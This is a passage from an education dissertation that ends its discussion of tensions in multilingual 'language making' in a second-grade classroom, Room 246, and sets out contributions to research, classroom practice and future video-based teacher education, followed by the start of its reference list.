heritage language was not continued. Ironically, however, parallel with my inclination to consider language as not-signifying throughout doctoral work, a written/verbal means of connecting and communicating through Polish *was* regained in my own family. Simultaneously, a written/verbal means of connecting and communicating is continually being negotiated with my Bengali-American family. In multiple sides of my family experiencing immigration and relocation to America in different ways, verbal/written named languages that signify and symbolize *are* one significant aspect of connection, just as Mandarin Chinese was a shared way of connecting between Xi Xi Lu, Madeline, and Patrick. When considering the risk of losing verbal and written heritage languages within families and classrooms, languages doing something does not seem enough. Yet this conceptualization of language is in tension with language making as intra-active as I write of it in Room 246, as it turns the focus of inquiry to be more expansive, perhaps in turn de-emphasizing verbal and written meaning that may communicate significant information. Barad (2010) writes of time as “threaded through one another, knotted, spliced, fractured, each moment a hologram, but never whole (p.243). The same could be said about language (making) in this dissertation, that it is a dynamic coming together of hologrammed fractures of movement, sound, and image across transglocaitimematterings of novice parent and researcher, grandchild, spouse, and daughter. **Agency of Multiple Perspectives** When the tensions and risks of losing the boundaries of human bodies and de-centering written/verbal means creating potential disconnections across families and communities are placed with the images from chapter one of pencil shavings and rocks (see Figure 6.7), such diffractive images affect me differently as researcher. For example, when I wrote about the pencil shavings in chapter one, I noticed their brilliant colors, and the potentials of movement that each small shaving seemed to suggest. Yet with these different tensions and risks presented in chapter six, the pencil shavings look destructive and broken, like something important has been left behind. Put with the tensions of chapter six, the pencil shavings now remind me of rapid, choppy waters. Tensions, it initially seems as I look at the images with writing, may not always be productive in a way that can be recognized in a particular moment. Returning to the pencil shavings as waves as I discuss in chapter one, I see that sometimes the rapid waters overturn the boat and we’re not sure why. Even though in this moment of writing I cannot recognize these tensions as a way toward how I want to be able to recognize engagement, I still consider them as productive even though I am not yet sure how, nor may never know. Early childhood education scholars in literacies and speech, Murris and Babamia (2018) and organizational study scholars, Mengis, Nicolini, and Gorli (2016) argue that different video-recording practices, and particularly the angles each of these afford with children and researcher change the knowledge produced by the study. Mengis, Nicolini and Gorli write that “combinations of camera angle and movement used to collect data…constitute a configuring device, which has a performative effect on the phenomenon of interest and does not simply record (p.306). As such, video and recording practices must be considered participants in what constructs moments in Room 246. Recall the differences in and diffracted images of child-camera and research-camera images depicted in figures 6.2-6.4 of the Yut Nori moment, video elicitation interview about the Yut Nori moment, and writing workshop. The differences of these images not only change the stories of language and engagement, but keep open what language and engagement can be. Barad’s orientation is that that being explicit about what comprises the different combinations of camera angle and movement to collect data, such as differences between stories told in words versus images, juxtaposed angles of videos made with zoomed in Kodak touch lens, and the fish bubble of Go Pro with children, creates ethical tellings of research. Yet despite making explicit these materializations of video in the research, I still work in fear that these stories with video could also be viewed as distortion upon distortion, and hegemonic, trapping the endless other stories that could be told of Room 246. How as ethical researcher can I reconcile tensions that I have trouble recognizing as productive? The theoretical and methodological apparatus of this dissertation suggests that researcher experiences and memories with video create a potential for a multiplicity of stories to be told, just as the tangram structures children in Room 246 dynamically built, took apart, and then re-built throughout the school year. Such a methodological and theoretical apparatus that might in moments feel hegemonic also has trap doors which open to different pathways, as the surprises of toggling with children, tablets and the Google Translate neural network suggest. In Murris and Babamia’s study (2018), they experimented with boundary-making processes between views of a classroom from GoPro mounted to the ceiling of classroom, a camera person filming at a distance yet following the human action, and researcher with iPad recording at floor-height, zooming in and out on human and non-human bodies. Their argument, aligning with Mengis et al (2016), is that knowledge production is changed, adding dimension, when combining and contrasting angles of cameras and different video-making processes of an event or process. This is what Kind (2013) might call “complicated ways of seeing…recogniz(ing) partial views and ambivalences” (p.429). What Kind (2013) calls “complicated ways of seeing” aligns to the potential of diffractive video and theories in this dissertation to speak and translate, engaging across linguistic borders. Such an engagement is moving in a language making that includes, but goes far beyond words that signify, symbolize, and represent. The translation of moving back and forth between moving images, sounds, words, numbers, pixels, frames, and human perspectives enables an opening of what children, cameras, researchers, and others might produce together. It’s a way of making a joint perspective known (Mazzei & Jackson, 2017, p. 1091). Such a perspective is multivocal, aligning to Mazzei and Jackson’s (2017) contention of “a posthuman voice not as a possession but as a thing entangled with other things” (Mazzei & Jackson, 2017, p. 1091). This is to say that the “voice” in the stories of the dissertation is produced jointly by sounds, Xi Xi Lu, Madeline, peers, images, mobile technologies, and other materials entangled together than those of researcher or children. Furthermore, with language making, the telling and showing of perspectives are not only a storying through words and images that communicate meaning, but rather perspectives that are seen, felt, and heard. Such joint perspectives open pathways for not only telling one story, but also creating the expectation/understanding that there are more stories that aren’t being told. It suggests that if we were to combine different angles from different cameras, different filmmakers, an infinite number of alternative stories can be told. It is the corporeal images (MacDougall, 2006) children and I produce with camera, yet also those produced by children and camera fused with each other, that are significant. It is these juxtaposed angles (Murris & Babamia, 2018), these tellings together—multiple co-existing perspectives of material characteristics of cameras lenses, harnesses and tripods, children and researcher with cameras, software, intra-active comings together of transnational memories, along with words and movement—that produce such a joint perspective critical toward the knowledge of the moments elaborated in chapters one-five. Together these perspectives suggest that human bodies such as Xi Xi Lu, standing up, defying a potential assimilation into an English-dominant classroom are critical to ways of engaging in Room 246, just as the material characteristics of soft plush animals, skittles, blueberry muffins, Google Translate neural network, yut, post-it notes, and lined paper that are also players and partners in this process. How can I reconcile the agency of these multiple perspectives, despite the tensions and risks that exist simultaneously? I do not want to lose sight of potential risks, such as assimilation and losing a written/verbal connection to family and communities, particularly those that don’t feel productive in the way I expect. However, I also want to push forward to harnessing these tensions into a potential richness of engagement in classrooms with emergent bi/multilingual children. What I propose then is what is gained through multiple perspectives bringing both the voices of emergent bi/multilingual children and their relations in a classroom to matter is greater than the risk of what we feel like we might be losing. What is gained? As Murris and Babamia’s (2018) work suggests, emergent bi/multilinguals and their often complicated and interesting relations in a classroom, are considered and accounted for. They are part of the entanglements of Room 246. How these stories are told with a theoretical and methodological apparatus that create particular stories, also gets to count. Significant in linguistically and culturally diverse classrooms is that these particular narratives of emergent bi/multilingual children, classroom, and researcher entanglements can physically change the landscape of how we conceptualize engagement and participation in classrooms with emergent bi/multilingual children. Thus, looking at the pencil shavings yet again, the colors remind me of the many players and partners of language making throughout moments of Room 246, and how each of these iterations of language making, like the tangram constructions of Room 246, present a different piece to be considered in storytelling engagement in Room 246, even though in these different stories of engagement there are many relations and tensions existing within them that are blurry, and that I cannot or am not ready to recognize. Chapter 7. Enfolding Forward: How Does Moving with and Playing in Language Making Create Openings for Recognizing Engagement in Classrooms? This chapter is an enfolding forward of the empirical and theoretical work presented in chapters one through five. The focus of this final chapter is 1) contributions of this research to future work across research fields, and 2) openings for recognizing engagement in other K-5 classrooms and schools and teacher education uncovered by the moving with and playing in language making as theorized and inspired by Room 246. This study suggests that just as mobile technologies (video, tablet computers, Google Translate) and objects (yut—sticks with marks) are multiple from moment-to-moment, so too can language be recognized as more multiple than verbal, written, communicating, and belonging to named categories such as English and Chinese. Language making is multiple and contested. Language making is communicative, not communicative (signifying and symbolizing, and not) and produces a variety of ways of recognizing engagement, often at the same time. As such, repertoires of a classroom are dynamic and collective. This matters to classrooms with emergent bi/multilingual children because it suggests that by whom and what they come into alliance with, children too can have multiple ways of engaging, doing, and becoming in the classroom that is more expansive than primarily drawing on their cultural and linguistic funds of knowledge suggests (González, Moll, Amanti, 2005). As suggested across the moments of the science investigation, writer’s workshop with Google Translate, Yut Nori demonstration, and other moments across the second-grade school year, engagement in classrooms with emergent bi/multilinguals can be characterized by the following: • Emergent bi/multilingual children and their often complicated, tension-filled, and interesting relations with other players and partners in their classrooms. • Reciprocal opportunities for children and materials as they are reworked with words, sounds, movements, and objects including mobile technologies, as evident during the science investigation. • Affective connections, words that provoke yet don’t necessarily signify, such as singing 没有化, lalala at Madeline’s house • Contrasts between repertoires coming together from moment to moment and the funniness of these disjunctures as evident with tablet and singing across schooling experiences in the U.S., China, home, and school. • The toggling between not understanding the meaning, understanding, and a child-teacher connection inspire experimentation with the tablet that opens opportunities for connections throughout the school year, as evident during the Writer’s Workshop moment and continuing into other moments • The tablet speaking German, and made up gibberish-like languages between children and tablet, such as during an end-of-year video elicitation interview • The opportunity to demonstrate knowing differently than parents and peers such as Xi Xi Lu working with tablet applications, including Google Translate These multiple ways of recognizing engagement suggest what children can do and become in the classroom is enhanced and significantly more multiple when in alliance with other players and partners. It therefore makes possible recognizing less-noticed, networked ways of connecting in linguistically and culturally diverse classrooms. Thus, in classrooms and schools permeated with language difference, such additional ways to recognize engagement suggest that we should notice, project, and talk about less-visible connections between children of differing linguistic and cultural backgrounds \textit{and} hardware, software, algorithms, materials, and sounds. When we consider \textit{all} players and partners, we can harness such connections in order to spur and continue the pathway for additional connections and bridges in intercultural classrooms and schools between children, families, in-service, and pre-service teachers. In this chapter, I first begin with contributions of the dissertation to academic fields, and then suggest connections for moving in and playing in language making to open translation and working across linguistic and cultural borders in K-5 classrooms. \textbf{Contributions to Academic Fields} \textit{\textbf{K-5 Bi/Multilingual Classrooms}} This work makes contributions to two broad research areas: teaching K-5 (emergent) bi/multilinguals and early childhood literacies. In the areas of teaching K-5 emergent bi/multilinguals, language making in Room 246 aligns with second language educator Kelleen Toohey’s (2018a, 2018b) work that asks the implications for teaching and advocating for young emergent bi/multilinguals if we extend our focus from grammatical structures and social relations and identities which have historically dominated the field of language studies. For example, attending to the entanglement of social and material relations that occur during the science investigation, writing workshop, and yut nori sharing in Room 246. Conceptualizing technology as a player and partner in culturally and linguistically diverse classrooms, this study also builds on scholarship in K-5 multilingual classrooms attending to the hardware and software of tablet computers and Google Translate (Dagenais et al., 2017; Rowe & Miller, 2016; Smythe, Toohey, & Dagenais, 2014; Toohey et al., 2015; Toohey & Dageneis, 2015; Vogel et al., 2018). This research study extends scholarship in K-5 multilingual classrooms by complementing it with insights in early childhood and youth literacies that attend to the affective intensities produced through intra-actions of children and youth’s moving bodies, along with the material characteristics of digital devices and place (Hollett & Ehret, 2017; Linters, 2016; Wargo, 2015); work in media theory, communication, and educational research that addresses how the algorithms and pixels of software affect intra/interactions (de Freitas, 2015/2016; Langlois, 2014; Manovich, 2001; Taffel, 2012; Wanono, 2014); and work in intersemiotic literary translation that reconceptualizes translations as word-to-word correspondence (Scott, 2019). Together this scholarship conceptualizes differently the use of tablet computers, machine translation, and video in classrooms with young children of different ethnolinguistic backgrounds. Particularly, this study suggests that current scholarship pertaining to machine translation software in language studies are significantly underestimating the complicated and multi-way, give-and-take negotiation of the relational exchanges between students and software (Case, 2015; Garcia & Pena, 2011; Groves & Mundt, 2015; Vogel et al., 2018) and the knowledge production of research produced with children, researcher, video, and cameras (Änggård, 2015; Canton & Hackett, 2019; Harwood & Collier, 2019; Kind, 2013; Magnusson, 2018; Murris & Babamia, 2018; Wargo, 2018). The focus on classrooms with bi/multilingual children of this dissertation is not oriented to whether technology should or shouldn’t be part of classrooms, or the most accurate way of working with machine translation software. Rather, the argument is we need to account for the relations between children and technology such as arrangement of pixels, hardware of metal, and algorithms of software. We must acknowledge that in making language in classrooms, children activate a pervasive, yet less visible dimension of technological language through their finger taps, and vocal sounds. Reciprocally, what children can do in the classroom is often contingent on this electrical signals of software, arrangement of pixels, configuration of metal, and algorithms. Such moving with and playing in language making calls for the addition to the many ways of conceptualizing translingualism (Canagarajah, 2018d). I propose a translingual orientation focusing on resources as mobile (Blommaert, 2010) and semiotic (van Leeuwen, 2005), diffracted with feminist new materialist work in early childhood literacies and play, which calls for a material-oriented translingual practice particular to K-5 classrooms with young bi/multilingual children working across transnational schooling settings. Given that the majority of empirical examples attending to material aspects of classrooms and orienting to translingual paradigms focus on adult higher education settings, I argue a way of conceptualizing translingual repertoires oriented to classrooms with young children is a needed contribution. Such an agential realist conceptualization of repertoires builds on work in socio and applied linguistics orienting to the concept of “spatial repertoires” (Canagarajah 2018a, 2018b, 2018c; Pennycook & Otsuji, 2014/2017; Pennycook, 2017; 2018a; 2018b). While each of these perspectives is oriented toward fluidity and making explicit the many components coming together in a classroom, they have slightly different areas of focus. With spatial repertoires, empirical examples highlight the patterned aspects of repertoires, noting particular combinations of objects, items, sounds, texts that combine to provide a variety of ways of signifying across different activities and environments. What I propose through an agential realist perspective of repertoires in classrooms with young children is more oriented toward the dynamic aspect of repertoire even though enfoldings of other intra-actions are continually reincorporated. Rather than being focused on the variety of significations, the focus is on the contrasts between affective, communicating (signifying and symbolizing), and noncommunicating forces felt across translational spaces and time, and what these tensions do in a classroom. It suggests that in addition to a focus on individuals or places as titles such as university lecturer (Canagarajah, 2018b, 2018c) and Bangladeshi-owned shop (Pennycook & Otsuji, 2017), the focus is on players and partners in a classroom as they continually ontologically re-work each other in alliance. The contributions noted thus far also extend the argument of anthropologists and educators Paris and Alim (2014) and scholarship on transnational experiences of schooling (Bhatia & Ram, 2004; Jaffe-Walter and Lee, 2018). Aligning to Barad’s contention that there are not pre-existing binaries between nature and culture, it expands how we conceptualize doing ‘culture’ dynamically, materially-discursively, in a classroom in that it may also be composed through networks of players and partners in a classroom that affectively change, un-do, and re-do each other. Paris and Alim’s (2017) call for culturally sustaining pedagogy argues that in asset-oriented research in multicultural settings, there is too much emphasis on culture as reified, fixed traditions. In fact, they emphasize the “shifting and changing practices of students and their communities…(where) culture as dynamic and fluid, while also allowing for the past and present to be seen as merging, a continuum, or distinct” (p.8). Paris and Alim’s work is therefore focused on how schools can create communities that are hybrid, such that this community includes a blend of dynamic ways of doing and being that also incorporates different traditional practices. Paris and Alim are interested in “contemporary enactments of communities” (p.4), with their conceptualization of community focused on who they refer to as “young people”, particularly those of color that enact “race, ethnicity, language, literacy, [such that their] engagement with culture is always shifting and dynamic “ (p.7). Together with Barad’s concepts of intra-activity (2003/2007) and spacetime-mattering (2007/2010), Paris and Alim’s notion of community in classrooms is extended by this dissertation in several ways. First, Barad’s concepts suggest that not only are ways of doing contemporary enactments of community, but so is the notion of classroom continually in motion. As such, moving with and playing in language making in classrooms, such that players and partners are part of what is considered ‘language’, does not call for us to build a dynamic school or classroom community. For example, this ethnography does not seek to develop or describe a dynamic community of Room 246, but rather make explicit what comes to make and re-make Room 246. As Springgay and Truman, cite Manning (2012): “[a]ccountability shifts from being responsible for, to a response-ability-with” (p.7). Thus, language making as intra-active in linguistically and culturally diverse classrooms turns our attention to being responsive to the temporariness of what might come together as ‘community’ and classroom from one moment to the next, as exemplified by the circle in chapter five. Moving with and playing in language making in classrooms also asks that we are responsive to the dis/continuities in language making, since this is one way that fuels and creates the pathways for additional opportunities for engagement. Furthermore, as educators moving with and playing in language making, this work asks that we extend who these ‘enactors’ of culture and language making are, broadening to who/what can be included in school and classroom community/culture. Barad’s work necessitates an extension to what Paris and Alim call “ways of being” to not only the people in the circle, on the classroom rug as in chapter five. Just as in the circle, it suggests culture and community are composed through networks of players and partners in a classroom that affectively change and augment each other. For example, wearing pajamas might have changed how Xi Xi Lu raised her hand to become an expert in the Yut Nori moment, a different way of acting in comparison to Madeline and Patrick, who wore their more everyday clothes. In the post-election pajama day Yut Nori moment, material characteristics of the yut, dragon, and pajamas were productive of different possibilities for shaping community and culture in that moment. For example, the yut created different ways of recognizing the hybridity of Korean/Chinese, and brought different investments across spacetimes. In another example, during the writer’s workshop moment, Google Translate machine translation software and its neural network enter the community of negotiation with student teacher, Xi Xi Lu, and Madeline, producing continued opportunities for language making that appeared more expansive than the English writing in Xi Xi Lu and Madeline’s writing workshop notebook. Barad’s work, as diffracted in this dissertation, is also focused on how as researcher, I evolve materially-discursively with the process of language making in the classroom. This is exemplified by the process of data analysis with material-discursive transcripts. The study demonstrates how taking account of multiple perspectives together—what children, their parents, teacher, researcher, peers, tablet computers, Google Translate neural network, video cameras in Room 246 make possible saying, showing, and doing—enables recognizing different pathways to engagement. This perspective reemphasizes Paris and Alim’s focus on the youth perspective, such that the words and embodied movement of Xi Xi Lu, Madeline, and their peers matter, just as the apparatus that these perspectives are made with, while also not prioritizing these over other simultaneous perspectives. **Early Childhood Literacies and Play** Taking a posthumanist and feminist new materialist turn in educational research (Kuby, Spector, & Thiel, 2019; Leander & Boldt, 2013), this work also builds on and contributes to scholarship in children and youth literacies and play. In particular, the work of early childhood literary scholar Angie Zapata with what she calls translingual assemblages (Zapata et al., 2018) corresponds to the language making in Room 246. To Zapata et al., translingual assemblages are a unit of analysis exploring “multilingual writing as a production as linguistic-affectual-material togetherness” (p. 493). In Room 246, this togetherness is evidenced in the affective connections in networked language practices between humans and non-humans. Therefore, this dissertation shows that additional opportunities for engagement in a multilingual classroom are created by a greater diversity of sonic material through diverse tones, pitches, rhythms, and diverse ways of working with material objects such as tablet computers and software may join networks of language and literacy practices. Furthermore, this study suggests the materiality of language may be significant in ways yet to be theorized when intra-actions involve spacetime matterings that are transglocal in nature, an aspect less emphasized in post-human-oriented work in early childhood literacies. That is, considering many aspects related to translational schooling, such as those that come to play in Room 246, a productive empirical contribution to the theoretical work is already taking place across this growing body of scholarship. Connections for Moving with and Playing in Language Making, Opening Translation in K-5 Linguistically and Culturally Diverse Classrooms How might language making as translingual intra-active performances look in classrooms? Teacher Caitlin’s way of moving with and playing in language making in Room 246 provides inspiration for how educators might ethically take part in language making in classrooms. Barad (2007) writes that “ethics is about mattering and taking account of entangled materializations of which we are part, including new configurations, new subjectivities, and new possibilities” (p.384). Therefore, I suggest that as educators we recognize our role is one of many moving pieces materializing in classrooms. Likewise, Caitlin as educator in Room 246 was part of nurturing the conditions, rhythms, and movement (in language making) in classrooms rather than steering pedagogy and curriculum or conducting it (Lenz Taguchi, 2010). For example, in chapter four, I suggest how as classroom teacher Caitlin moved with and played in language making, she was of different enfoldings of language making. Furthermore, Caitlin was amenable when Ruby and Sapphire desired to make the topic of their writing workshop come to life, sharing about the Korean Lunar New Year celebration. This was not the planned curriculum for the day. In fact, the impromptu student show-and-tell that comprises the Yut Nori moment went many minutes longer than Caitlin had planned. Consequently, the literacy block never happened on that day despite it being ‘that’ time, according to the calendar of the day noted on the board. Caitlin was one moving component on the classroom rug along with large bags exploding with a Yut Nori game and multiple Hanboks, food, and Ruby and Sapphire’s instructions to peers of how to bow to parents. Another way of moving and playing in language is cultivating the conditions for children and materials to do what they have the potential to do together and may already be doing. One example is during the science investigation, in which Caitlin provided opportunities for children and materials to play together, re-shaping each other, and in doing so, created different opportunities for all to engage in the classroom. Moving with and playing in language making also connects to the practice of recognizing with video in Room 246, of which researchers, children, educators, and more can take part. Toward the end of the school year, teacher Caitlin had children bring in videos that they created of what they did outside of school to share with the rest of the class. These videos were about recognizing, sharing, building empathy among difference not to understand, but consider others’ ways of seeing. One was a video a child made of a Furby, a furry robot toy singing; another was of a child playing a piece of music during a piano concert; and another emphasized a classmate’s daily mobility in the town near Oakville after school and during the weekends in his wheelchair (see Figure 7.1). While watching these videos, classmates, teachers and I sat on the classroom rug watching the videos, asking questions of each others’ experiences, responding to the images and sounds. Figure 7.1. Video sharing in Room 246. Such a practice of recognizing in K-5 classrooms and working with video can be expanded in multiple ways. Recognizing with video also relates to what Barad considers ethics. In Room 246, I propose that an ethical practice toward language making is working with and watching video together, allowing children and teachers to respond to the frozen frames of the image, slow down the analysis, and account for how different configurations of what comes together in classrooms from moment-to-moment can produce new subjectivities and opportunities to engage in linguistically diverse classrooms. As an extension of this practice, I explore the following questions: how does a practice of recognizing become part of culturally and linguistically diverse classrooms? How might this look? As noted in chapter four, Google Translate and tablet can be projected on a screen for the whole class to view together, no longer a covert hidden on the side operation predominantly between emergent bilingual children and teachers. Different types of machine translation software can be tried out simultaneously and compared with alternative translations proposed by children, teachers, and inspired by the other players and partners in the classroom. Translation can be expanded to a play in language in video creation and watching the image of video together. For example, as an extension to a bilingual read aloud of *The Three Little Pigs* in Room 246 described in Blair et al. (2018), children could create videos comprising different translations of the story including compilations of sounds, images, scent, color, material objects, where words were invited not to necessarily signify. Watching and recognizing such videos of intersemiotic language making in translation can broaden conceptualizations of language in classrooms. Different types of camera lenses, harnesses, angles, and software can change how we can see, hear and feel language in Room 246. Projecting literacy products such as the translingual blog post during the science investigation and sharing how images, singing, Mandarin, and English were all part of what comprised communication, and something more can all contribute to these “new possibilities” in the multilingual classroom. Furthermore, we might add electrical impulses of keyboard strikes and long strings of numbers to how we include aspects of technology as part of classroom language making. We might recognize that such components of matter with words create forces that propel ways of engaging, not only ways of representing information. We might incorporate play with software and hardware into our language making. We might experiment with different programs, change the views, consider coding language, as well as images and sounds produced with software in relation to words. We might work with software such as different applications, and hardware such as cameras, tablets, and others to see how these change our language play and translation. In classrooms, this language play and experimentation in translation with hardware and software can be discovered rather than required. For example, instead of mandating the use of a specific application, allow for exploration in the same way Xi Xi Lu and Madeline worked with Seesaw blog application and tablet during the science investigation. We might also experiment with voice sound recordings that visually indicate different levels and types of sound in this translation and language making across linguistic and cultural borders. **Connections for Pre-Service and In-Service Teacher Education: Research Moving Forward** The connections through language making elaborated throughout chapters two through six suggest it is the affective connections with both communicating and not communicating that we make in our exchanges that need to be recognized as a way to build bridges in not only classrooms, but schools and communities. Educators who work in culturally and linguistically diverse schools with families whose lived experience may be different than their own should investigate how the relational exchanges between food, sounds, material objects, children, and families may spur intercultural connections. An example of connections realized through this analysis is evident in the exchange at Madeline’s dinner table shown in chapter three, when we sang “没有化, lalala” together. As an educator of teaching emergent bi/multilinguals, my pedagogical philosophy is that K-12 educators in English-medium schools should adopt the different verbal/written languages of the children in their classroom, incorporating multiple languages in instructional practices (see work initiated by the City University of New York New York State Initiative on Emergent Bilinguals (CUNY-NYSIEB) aligning to this pedagogical philosophy, aiming to help teachers to develop bilingualism as an asset it through multilingual pedagogy (Celic & Seltzer, 2012). Nevertheless, this dissertation also suggests that by focusing on verbal/written aspects of language making and/or language as only communicating, we risk significantly narrowing how we conceptualize language. Over-reliance on language as verbal/written that signifies information can attempt to relate, but it doesn’t open players and partners to the uniqueness of different relations that might come about in more emergent, dynamic ways of connecting that are not predicated on shared grammar rules and vocabulary, nor the different nuances of meaning that develop through iterations of them. Furthermore, as noted in chapter two, pre-service teacher education should emphasize how culture can be material-discursive in nature, without a binary between nature-culture (Barad, 2007). That is, I propose that rather than predominantly discussing culture as less-visible socially-constructed attitudes/views, ways of doing school, and raising children, we need to discuss how significant (cultural) encounters might involve such components that are often treated in pre-service teacher education as outward manifestations and therefore more superficial aspects of culture, such as food and music (Hamayan, 2012; Wright, 2019). I now propose the research work I will pursue to recognize and iterate language making by making and watching video together. This new project brings together training in educational leadership and collaborative research in professional development in linguistically diverse schools (Sherman, Haneda, Bose, & Teemant, 2019) with this dissertation on recognizing language making and additional ways of engaging. Such a project will involve a co-inquiry in linguistically and culturally diverse classrooms and schools with researchers, children, in-service, and pre-service teachers, where all play a role in recognizing openings for engagement in schools and classrooms. The project will focus on how video can be a player and partner in exploratory professional learning opportunities in schools, as a fruitful way for children, pre-service, and in-service teachers to recognize different ways of engaging in their school and classrooms as part of an action research inquiry. Just as video was shared in Room 246 (figure 6.1), such a project envisions different sharings of video filmed and displayed by different partners and players: children, in-service and pre-service teachers, researchers, cameras of different lenses, cameras attached to different objects, depicting different angles of activity, and playing the video through software of different algorithms. Just as Murris and Babamia (2018) suggested, this co-inquiry, which could be part of a university pre-service/in-service teacher education course of professional learning community, would juxtapose these videos, such that multiple are watched together by groups of children, pre-service, in-service, teachers, administrators, and researchers. As such, this project is oriented to the tensions and agency of multiple perspectives in culturally and linguistically diverse schools in order to harness the synergy to recognize the productive differences and tensions between different players’ and partners’ ways of seeing, hearing, and feeling language and engagement. Key to such an action research project would be how video and software may place multiple perspectives side-by-side (Murris & Babamia, 2018), produce fruitful disjunctures for recognizing, and how watching video footage together may create empathy for differences of experiences through seeing the camera’s perspective, and the filmmaker’s (recorder’s) perspective (Pink et al., 2017). This proposed research is inspired by the work of de Freitas (2015) and Wanono (2014) who call for attending to the technical apparatus of research through software. This project also aligns to and de Freitas’ (2015/2016) call for the use of experimental film practices in classroom video research such as superpositioning of images and montage and experimentation with how algorithms produce video differently. This inquiry will be a partnership between the College of Education, local schools, pre-service and in-service teachers, and the Film and Media Studies department. Such a partnership may make possible exploring how different ‘irrational’ dimensions can be explored with video in classrooms, and how changing software algorithms, may result in changed images and sound, making possible additional ways of taking account the “entangled materializations of which we are part” (Barad, 2007, p.384). This future action research inquiry suggests ways of recognizing language making, emphasizing what video, children, software, pre-service and in-service teachers can do with each other. Thus, the project provides a fruitful way of advocating for the mulivoicedness of what comes together in the ontological rearrangements between players and partners in multilingual/cultural schools and classrooms. Such a project would focus on recognizing how language making in other classrooms with emergent bi/multilingual children may create additional pathways for engaging in classroom literacies. This project is what Rosiek (2019) calls a “creative improvisational response” to the initial explorations of intra-active language making in this dissertation. Centered on recognizing opportunities for engagement in other classrooms with emergent bi/multilingual children, this project is a language making yet to come. References Alaimo, S. & Heckman, S. (Eds.) (2008). *Material feminisms*. Indiana University Press. Allen-Robertson, J. (2015). The materiality of digital media: The hard disk drive, phonograph, magnetic tape and optical media in technical close-up. *New Media & Society*, 19(3), 455-470. Alvarez, L., Ananda, S., Walqui, A., Sato, E., & Rabinowitz, S. (2014). Focusing formative assessment on the needs of English language learners. https://www.wested.org/resources/focusing-formative-assessment-on-the-needs-of-english-language-learners/ Andersen, T.H. Boerriis, M., Maagerø, E., & Tømmessen, E.S. (Eds.). (2015). *Social Semiotics: Key Figures, New Directions*. Routledge. Ånggård, E. (2015). Digital cameras: Agents in research with children. *Children’s Geographies*, 13(1), 1-13. Ånggård, E. (2016). How matter comes to matter in children’s nature play: Posthumanist approaches and children’s geographies. *Children’s Geographies*, 14(1), 77-90. Bakhtin (1986). Speech genres and other late essays. (V.W. McGee, Trans.). University of Texas Press. Banks, J. (2018). *An introduction to multicultural education* (6th ed.). Allyn & Bacon. Barad, K. (2003). Posthumanist Performativity: Toward an Understanding of How Matter Comes to Matter, *Signs: Journal of Women in Culture and Society*, 28(3), 801-831. Barad, K. M. (2007). *Meeting the universe halfway: Quantum physics and the entanglement of matter and meaning*. Duke University Press. Barad, K. (2010). Quantum entanglements and hauntological relations of inheritance: Dis/continuities, spacetime enfoldings, and justice-to-come. *Derrida Today* 3(2), 240–268. Barad, K. (2011). Nature’s queer performativity. *Qui Parle: Critical Humanities and Social Sciences*, 19(2), 121-158. Barad, K. (2013). Ma(r)king time: material entanglements and re-memberings: Cutting together-apart. In Carlile, P.R., Nicolini, D., Langley, A., & Tsoukas, H. (Eds.) *How matter matters: Objects, artifacts, and materiality in organization studies* (pp.16-31). Oxford University Press. Barad, K. (2014). Diffracting diffraction: cutting together-apart. *Parallax*, 20(3), 168-187. Bauer, E. B., Presiado, V. & Colomer, S. (2016). Writing through partnership: Fostering translanguaging in children who are emergent bilinguals. *Journal of Literacy Research*, 49(1), 10-37. Beer, D. (2009). Power through the algorithm? Participatory web cultures and the technological unconscious. *New Media & Society*, 11(6), 985-1002. Bengochea, A., Sembiante, S. F., & Gort, M. (2017). An emergent bilingual child’s multimodal choices in sociodramatic play. *Journal of Early Childhood Literacy*, 18(1), 38-70. Berriz, B.R., Wagner, & A.C. Poey, V.M. (2018). *Art as a way of talking for emergent bilingual youth*. Routledge. Bhatia, S. & Ram, A. (2004). Culture, hybridity, and the dialogic Self: Cases from the South Asian diaspora. *Mind, Culture, and Activity*, 11(3), 224-40. Birkeland, A. (2013). Research dilemmas associated with photo elicitation in comparative early childhood education research. *Research in Comparative and International Education, 8*(4), 455-467. Blackledge, A., Creese, A., & Takhi, J. (2014). Language, superdiversity, and education. In Ingrid de Saint-Georges & Jean-Jaques Weber (Eds.). *Multilingualism and multimodality: Current challenges for educational studies* (pp. 59-80). Springer Link. Blackledge, A. & Creese, A. (2017). Translanguaging and the body. *International Journal of Multilingualism, 14*(3), 250-268. Blackledge, A. & Creese, A. (2020). Interaction ritual and the body in a city meat market. *Social Semiotics, 30*(1), 1-24. Blair, A., Haneda, M., & Bose, F.N. (2018). Reimagining English-medium instructional settings as sites of multilingual and multimodal meaning making. *TESOL Quarterly, 52*(3), 516-539. Blommaert, J. (2007). Sociolinguistic scales. *Intercultural Pragmatics, 4*(1), 1-19. Blommaert, J. (2010). *The sociolinguistics of globalization*. Cambridge University Press. Blommaert, J. (2015). Chronotopes, scales and complexity in the study of language in society. *Annual Review of Anthropology, 44*, 105-116. Blommaert, J. & Backus, A. (2013). Superdiverse repertoires and the individual. In Ingrid de Saint-Jacques & Jean-Jacques Weber (Eds.) *Multimodality and multilingualism: Current challenges for educational studies* (pp.11-32). Sense Publishers, Rotterdam. Bloome, D. (2012). Classroom ethnography. In Grenfell, M., Bloome, D., Hardy, C., Pahl, K., Rowsell, J. & Street, B. (Eds), *Language, ethnography, and education: Bridging new literacy studies and Bourdieu* (pp.7-26). Routledge. Board of Regents of the University of Wisconsin System, on behalf of the WIDA Consortium (2014). *The WIDA Standards Framework and its Theoretical Foundations*. https://www.wida.us/aboutUs/AcademicLanguage/ Boldt, G. & Leander, K. (2017). Becoming through ‘the break’: A post-human account of a child’s play. *Journal of Early Childhood Literacy*, 17(3), 409-425. Bozalek, V. & Zembylas, M. (2017). Diffraction or reflection? Sketching the contours of two methodologies in educational research. *International Journal of Qualitative Studies in Education*, 30(2), 111-127. Brandt, D. & Clinton, K. (2002). Limits of the local: Expanding perspectives on literacy as a social practice. *Journal of Literacy Research*, 34(3), 337-356. Brown, B. (2009). Navigating an English-only classroom: Multiple identities in a primary writer’s workshop. *The Journal of Classroom Interaction*, 44(1), 29-38. Burnett, C. (2017). The fluid materiality of tablets: Examining ‘the iPad multiple’ in a primary classroom. In (Eds.) Burnett, C., Merchant, G., Simpson, A., & Walsh, M. *The case of the iPad: Mobile literacies in education* (pp. 15-27). Springer. Burnett, C. & Merchant, G. (2017). The case of the iPad. In (Eds.) Burnett, C., Merchant, G., Simpson, A., Walsh, M. *The case of the iPad: Mobile literacies in education* (pp.1-12). Springer. Canagarajah, A. S. (2013). *Translingual practice: Global Englishes and cosmopolitan relations*. Routledge. Canagarajah, S. (2017). The nexus of migration and language: The emergence of a disciplinary space. In Canagarajah, 